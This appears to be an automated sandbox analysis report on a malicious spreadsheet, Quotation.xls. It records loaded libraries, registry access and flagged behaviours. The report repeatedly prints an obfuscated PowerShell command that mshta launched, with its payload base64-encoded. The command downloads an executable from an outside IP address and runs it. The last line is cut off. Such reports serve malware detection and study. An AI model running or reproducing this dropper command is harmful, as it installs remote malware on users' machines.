Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ext-ms-win-kernel32-package-current-l1-1-0.dll	Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: Quotation.xls

Static file information: File size 1129472 > 1048576

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.pdb source: powershell.exe, 00000007.00000002.449435147.0000000002623000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.pdbhPD source: powershell.exe, 00000007.00000002.449435147.0000000002623000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\ge3s1wmx\ge3s1wmx.pdbhPE source: powershell.exe, 00000013.00000002.483902193.00000000026CA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\ge3s1wmx\ge3s1wmx.pdb source: powershell.exe, 00000013.00000002.483902193.00000000026CA000.00000004.00000800.00020000.00000000.sdmp

Source: ~DF91B6A489623540E3.TMP.0.dr

Initial sample: OLE indicators vbamacros = False

Source: Quotation.xls

Initial sample: OLE indicators encrypted = True

Data Obfuscation

PowerShell case anomaly found

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"

Suspicious command line found

Source: C:\Windows\System32\mshta.exe	Process created: "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
Source: C:\Windows\System32\mshta.exe	Process created: "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
Source: C:\Windows\System32\mshta.exe	Process created: "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0